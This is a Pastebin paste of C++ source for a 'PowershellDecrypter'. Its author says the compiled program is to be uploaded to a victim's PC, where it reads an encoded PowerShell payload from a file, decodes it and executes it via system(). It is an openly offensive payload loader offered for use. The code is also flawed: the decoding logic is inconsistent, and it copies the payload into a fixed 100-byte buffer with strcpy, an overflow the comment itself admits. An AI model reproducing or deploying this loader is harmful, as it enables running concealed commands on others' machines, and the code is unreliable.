n0va_sa

PowershellDecrypter

Feb 4th, 2017
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.41 KB | None | 0 0
  1. /*
  2. <Manual - after compiling this to a exe ,you will upload to victims pc and you need to put the
  3.         encrypted shell code into a file (might be a text file also) so that this program can decrypt it
  4.         and (if you change the encryption logic you have to change the decryption logic too).
  5.        
  6.         Author : S0urav (n0va)
  7.         fb : www.facebook.com/dude.sourav
  8. ?>
  9. */
  10. /*note: i have just started with this, many more functions i am gonna add with it, so relax and try this
  11.     simple encoder/decoder powershell scripts.
  12. */
  13. #include <iostream>
  14. #include <fstream>
  15. #include <string.h>
  16. using namespace std;
  17.  
  18. class PowershellDeCoder{
  19.     private:
  20.         string shellCode;
  21.     protected:
  22.     void decoder(){
  23.         ifstream shell_reader("C:\\shellCode.n0va");
  24.         while(getline(shell_reader,shellCode)){
  25.             shell_reader >> shellCode;
  26.         }
  27.         shell_reader.close();
  28.         int len_ofShell = shellCode.length();
  29.         for(int i = 0;i<len_ofShell;i++){ // this is where the Decoding really happens
  30.             if(shellCode.at(i) == 112) shellCode.at(i) = shellCode.at(i) + 17;
  31.             if(shellCode.at(i) == 113) shellCode.at(i) = shellCode.at(i) + 99;
  32.             else shellCode.at(i) = shellCode.at(i) - 17;
  33.         }
  34.         char array[100];//This size will increase cause, useually the size of a powershell payload is too much
  35.         strcpy(array, shellCode.c_str());
  36.         system(array);
  37.     }
  38.     public:
  39.     int acces_Decoder(){
  40.         decoder();
  41.     }
  42. };
  43. int main(){
  44.     PowershellDeCoder psh;
  45.     psh.acces_Decoder();
  46. }
Add Comment
Please, Sign In to add comment